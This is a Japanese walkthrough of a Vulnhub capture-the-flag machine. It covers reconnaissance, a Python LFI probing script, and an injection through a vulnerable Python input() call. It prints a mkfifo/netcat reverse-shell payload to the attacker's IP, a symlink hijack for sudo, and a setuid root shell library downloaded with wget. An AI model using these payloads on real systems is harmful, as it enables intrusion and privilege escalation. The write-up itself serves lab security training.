靶機アドレス
難易度:中程度
ツールと脆弱性情報#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- コマンド実行
** 一部のツールの使い方と詳細については、このシリーズの最初の記事を参照してください:bossplayersCTF:1-Vulnhub ウォークスルー **
0x00 情報収集#
ターゲット機のスキャン情報#
netdiscover
の-r
パラメータで192.168.1.0/16
をスキャンした結果は以下の通りです:
nmap
でホストとポート情報をスキャン:
nmap -sS -sV -n -T4 -p- 192.168.1.9
特に何もない
パスのスキャン#
おなじみの三種の神器:dirb
、dirsearch
、gobuster
dirb
のスキャン結果は悲惨で、index.php
しかスキャンできませんでしたので、公開しません
dirsearch
のスキャン
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.9
gobuster
のスキャン
gobuster dir -u http://192.168.1.9 -s 200,301,302 -t 50 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
0x01 LFI 脆弱性の初利用失敗#
脆弱性利用位置の推測#
ホームページのソースコードには特に目立ったものはありませんでしたので、明らかに問題のあるimage_gallery.php
にアクセスします
中の画像テンプレートにはt
とf
の 2 つのパラメータがあります
何度もリフレッシュしてアクセスすると、前のt
の値はしばらくすると変わり、後ろのbase64
でエンコードされた値はずっと変わりませんでした
そこで、まずは後ろの値をbase64
デコードしてみます:
画像名が得られ、img
ディレクトリにアクセスすると以下のようになります:
後ろのf
の値は画像を参照していることが確定しましたので、前の値はおそらくタイムスタンプです
これにより、タイムスタンプを偽造し、LFI
ローカルファイルインクルード脆弱性を利用して他のファイルの値を読み取ることができると推測しました
LFI 脆弱性利用スクリプトの作成#
そこで、いくつかのアクセスしたいpayload
を構築してみました:
bottleneck_dontbe.png
/etc/passwd/
../../../etc/passwd/
../../../../etc/passwd/
../../../../../etc/passwd/
これをpayloads.txt
として保存し、同じディレクトリに以下のpython
スクリプトを作成します:
import base64
import re
import requests
url = "http://192.168.1.9/image_gallery.php"
r = requests.get(url)
response = r.text
t = re.findall(r't=(.*?)&f', response)[0]
# タイムスタンプを取得
for line in open("payloads.txt").read().splitlines():
word = line.strip("\r").strip("\n")
payload = base64.b64encode(word.encode("utf-8"))
try:
params = {'t': t, 'f': payload}
r1 = requests.get(url, params=params)
print(r1.request.url)
print('---------------response begin-----------------')
response = r1.text
if not response:
print("no response")
else:
print(response)
print('---------------response end-----------------')
except Exception as e:
print(e)
結果として、毎回返ってくるのは同じコメントでした:
これにより、LFI
ローカルファイルインクルード脆弱性が遮断されていると推測し、別のアプローチを試みます
0x02 input 脆弱性でシェルを取得#
image_gallery.php
のソースコードに次のような行を見つけました:
include_once 'image_gallery_load.php';
そこで、payloads.txt
を以下のように置き換えます:
../image_gallery_load.php
得られたimage_gallery_load.php
のソースコードは以下の通りです:
if(!isset($_GET['t']) || !isset($_GET['f'])){
exit();
}
$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
"The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
"Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");
if(abs($_GET['t'] - $timestamp) > 10){
exit();
}
foreach($blacklist as $elem){
if(strstr($imagefile, $elem) !== FALSE)
$isblocked = TRUE;
}
// intrusionをsocに報告し、さらなる調査のために情報をローカルに保存
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
print_troll();
}
else{
echo $filecontent;
}
chdir('../');
?>
コードから、ブラックリストがあることがわかります。私たちがテストした/etc
もその中に含まれています
また、python execute
文もあることがわかります
重要なコードを詳しく分析します:
if($isblocked){
$logfile = 'intrusion_'.$timestamp;
$fp = fopen('/var/log/soc/'.$logfile, 'w');
fwrite($fp, "'".$imagefile."'");
fclose($fp);
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
print_troll();
exit();
}
ブラックリストのキーワードがある場合、python
文がログに出力されます
ここで、input
関数を利用して、payload
を含む文をpython
で実行させることができると考えました
input () 関数が脆弱性を生む理由:この関数は stdin からの入力を python コードとして実行します(計算式のように、python コードとして扱い、計算結果を返します)。python3 では、input () 関数がデフォルトで文字列として入力されるように変更されています。
ここでは、python
文をetc' and
とand '
の間に置くだけで済みます
** 私の文章は一日で書き終わるわけではないので、kali と靶機の IP は変わっています **
payload
を以下のように構築します:
etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc kaliのip 4444 >/tmp/f") and'
これをpayloads.txt
に書き込み、kali
でnc -lvp 4444
を先に起動します
スクリプトを実行し、シェルを取得して現在の権限を確認します:
kali
でリスニングする際はmsf
も使用できます
payload
をcmd/unix/reverse_netcat_gaping
に設定します
リスニングを迅速に開始:
handler -H kaliのip -P 4444 -p cmd/unix/reverse_netcat_gaping
参考記事:
0x03 シェルの権限昇格#
シンボリックリンクを変更して権限昇格#
現在取得したのはwww-data
の権限だけです
sudo
権限のあるコマンドを探します:sudo -l
bytevsbyte
アカウントを使用して、そのフォルダに入り、ファイルを確認します:
clearlogs
がシンボリックリンクで、実体ファイルは/opt/clearlogs.sh
です
ファイルの所有者とclear_logs
ファイルを実行する権限を持つのはbytevsbyte
です
したがって、シンボリックリンクを私たちのスクリプトに変更することを考えます。スクリプトの内容は
/bin/bash
これにより、bytevsbyte
ユーザーに切り替えることができます。操作は以下の通りです:
cd /tmp
echo "/bin/bash" > soapffz
chmod 777 soapffz
ln -snf /tmp/soapffz /var/www/html/web_utils/clear_logs
sudo -u bytevsbyte /var/www/html/web_utils/clear_logs
機能は明らかで、clear_logs
のシンボリックリンクを私たちが書いたスクリプトに強制的に変更します
そして、bytevsbyte
ユーザーでそれを実行することで、bytevsbyte
ユーザーに切り替わります
ln
の 3 つのパラメータの役割はそれぞれ以下の通りです;
- -s シンボリックリンク
- -n シンボリックリンクを一般のディレクトリとして扱う
- -f 強制的に実行
これで、bytevsbyte
ユーザーのルートディレクトリに行き、彼のflag
を取得できます:
root 権限の昇格#
SUID 権限の実行可能ファイルを探すためにfind
コマンドを使用します
これはこのシリーズの最初の記事でも紹介されています。記事の冒頭にリンクがあります
find / -perm -u=s -type f 2>/dev/null
ファイルに権限があります。www-data と bytevsbyte のユーザーグループは異なります。bytevsbyte は tester ユーザーグループに属し、tester ユーザーのみが /usr/test ディレクトリの内容を読み取ることができます。
疑わしいファイル/usr/test/testlib
を発見し、パスに入ってみます
#include <dlfcn.h>
#include <unistd.h>
int main(int argc, char *argv[]){
void *handle;
int (*function)();
if(argc < 2)
return 1;
handle = dlopen(argv[1], RTLD_LAZY);
function = dlsym(handle, "test_this");
function();
return 0;
}
この実行可能ファイルは共有ライブラリをロードし、拡張子が(.so)のライブラリ内で
test_this
という名前の関数を呼び出します。共有ライブラリの名前はこの実行可能ファイルに渡される最初のパラメータですので、test_this
という名前の関数を持つシェルを作成し、それを共有ライブラリとしてコンパイルする必要があります。その後、testlib
を実行し、それを引数として渡します
ここではjivoi
大佬のshell
を使用します
ただし、関数名をtest_this
に変更し、もう 1 つのヘッダーファイル#include <stdlib.h>
を追加することに注意してください
コードは以下の通りです:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int test_this(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
後のc
ファイルとso
ファイルの名前は特に関係ありません
靶機のshell
ではgcc
を使用してコンパイルできないため、別のウィンドウでコンパイルしておきます
その後、靶機のshell
でスクリプトをダウンロードし、実行権限を与えます。操作は以下の通りです
kali
のターミナルで
vim soapffz.c
gcc -shared -fPIC soapffz.c -o soapffz.so
service apache2 start
mv soapffz.so /var/www/html/
靶機のshell
で:
cd /home/bytevsbyte
id
wget http://192.168.1.6/soapffz.so
chmod 777 soapffz.so
/usr/test/testlib /home/bytevsbyte/soapffz.so
このステップは常に失敗しており、理由がわかりません(.c と.so ファイルの名前は無関係です):
どなたか教えていただける方はいらっしゃいますか。。
参考記事:
本文完。